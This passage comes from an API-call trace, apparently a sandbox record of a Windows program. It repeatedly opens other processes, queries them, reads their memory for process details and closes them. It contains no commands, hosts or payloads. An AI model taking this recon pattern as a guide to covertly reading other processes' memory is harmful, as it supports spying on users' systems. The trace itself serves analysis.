(hObject=0x414) returned 1 [0192.825] _ui64tow_s (in: _Value=0x520, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1312") returned 0x0 [0192.825] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1312") returned 4 [0192.825] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.825] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.826] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x520) returned 0x414 [0192.826] GetLastError () returned 0x0 [0192.826] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.826] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2da018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.827] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.827] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4924e0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.827] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x492118, lpBuffer=0x104c5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.827] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.827] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.827] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2da020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.827] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x491ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.828] malloc (_Size=0x62) returned 0xeb6230 [0192.828] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x492162, lpBuffer=0xeb6230, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0192.828] free (_Block=0xeb6230) [0192.828] CloseHandle (hObject=0x414) returned 1 [0192.828] _ui64tow_s (in: _Value=0x1404, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5124") returned 0x0 [0192.828] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5124") returned 4 [0192.829] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.829] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.829] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1404) returned 0x414 [0192.830] GetLastError () returned 0x0 [0192.830] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.830] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6ad018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.830] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.830] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x312660, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.830] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x312258, lpBuffer=0x104c5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.830] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.831] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.831] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6ad020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.831] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x311c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.831] malloc (_Size=0x72) returned 0xea9020 [0192.831] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3122c2, lpBuffer=0xea9020, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0192.831] free (_Block=0xea9020) [0192.831] CloseHandle (hObject=0x414) returned 1 [0192.861] _ui64tow_s (in: _Value=0x1420, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5152") returned 0x0 [0192.862] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5152") returned 4 [0192.862] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.862] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.863] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1420) returned 0x414 [0192.863] GetLastError () returned 0x0 [0192.863] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.863] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x9cc018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.863] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.863] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xc04100, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.863] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xc03c2a, lpBuffer=0x104c5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.863] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.864] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.864] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x9cc020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.864] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xc03570, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.864] malloc (_Size=0x118) returned 0xeb4a50 [0192.864] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xc03cca, lpBuffer=0xeb4a50, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb4a50*, lpNumberOfBytesRead=0x0) returned 1 [0192.864] free (_Block=0xeb4a50) [0192.865] CloseHandle (hObject=0x414) returned 1 [0192.865] _ui64tow_s (in: _Value=0x1444, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5188") returned 0x0 [0192.865] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5188") returned 4 [0192.865] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.865] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1444) returned 0x414 [0192.866] GetLastError () returned 0x0 [0192.866] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.866] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4d2018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.866] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.866] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3e2620, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.867] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3e2258, lpBuffer=0x104c5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.867] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.867] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.867] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4d2020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.867] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3e1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.867] malloc (_Size=0x60) returned 0xeb6380 [0192.867] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3e22b0, lpBuffer=0xeb6380, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0192.868] free (_Block=0xeb6380) [0192.868] CloseHandle (hObject=0x414) returned 1 [0192.868] _ui64tow_s (in: _Value=0x1458, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5208") returned 0x0 [0192.868] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5208") returned 4 [0192.869] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.869] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.869] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1458) returned 0x414 [0192.869] GetLastError () returned 0x0 [0192.869] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.870] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x317018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.870] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.870] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5926a0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.870] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x592258, lpBuffer=0x104c5a0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.870] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.870] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.871] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x317020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.871] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x591c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.871] malloc (_Size=0x88) returned 0xe88360 [0192.871] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5922d8, lpBuffer=0xe88360, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88360*, lpNumberOfBytesRead=0x0) returned 1 [0192.871] free (_Block=0xe88360) [0192.872] CloseHandle (hObject=0x414) returned 1 [0192.872] _ui64tow_s (in: _Value=0x1474, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5236") returned 0x0 [0192.872] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5236") returned 4 [0192.872] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.872] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.874] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1474) returned 0x414 [0192.874] GetLastError () returned 0x0 [0192.874] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.874] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ee018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.874] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.874] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2700, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.874] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2258, lpBuffer=0x104c5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.875] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.875] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.875] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ee020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.875] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.875] malloc (_Size=0xa8) returned 0xe96810 [0192.875] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d22f8, lpBuffer=0xe96810, nSize=0xa6, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96810*, lpNumberOfBytesRead=0x0) returned 1 [0192.876] free (_Block=0xe96810) [0192.876] CloseHandle (hObject=0x414) returned 1 [0192.876] _ui64tow_s (in: _Value=0x1480, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5248") returned 0x0 [0192.876] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5248") returned 4 [0192.876] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.876] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1480) returned 0x414 [0192.877] GetLastError () returned 0x0 [0192.877] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.877] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ba018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.877] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.878] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4d2660, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.878] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4d2258, lpBuffer=0x104c5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.878] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.878] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.878] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ba020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.878] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4d1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.879] malloc (_Size=0x72) returned 0xea9120 [0192.879] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4d22c2, lpBuffer=0xea9120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0192.879] free (_Block=0xea9120) [0192.879] CloseHandle (hObject=0x414) returned 1 [0192.880] _ui64tow_s (in: _Value=0x148c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5260") returned 0x0 [0192.880] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5260") returned 4 [0192.880] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.880] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.881] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148c) returned 0x414 [0192.881] GetLastError () returned 0x0 [0192.881] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.881] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x38a018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.881] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.881] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2630, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.881] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2258, lpBuffer=0x104c5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.882] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.882] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.882] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x38a020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.882] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.882] malloc (_Size=0x62) returned 0xeb6540 [0192.882] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d22b2, lpBuffer=0xeb6540, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0192.883] free (_Block=0xeb6540) [0192.883] CloseHandle (hObject=0x414) returned 1 [0192.883] _ui64tow_s (in: _Value=0x14cc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5324") returned 0x0 [0192.883] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5324") returned 4 [0192.883] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.884] _vsnwprintf (in: _Buffer=0x104d4a0, 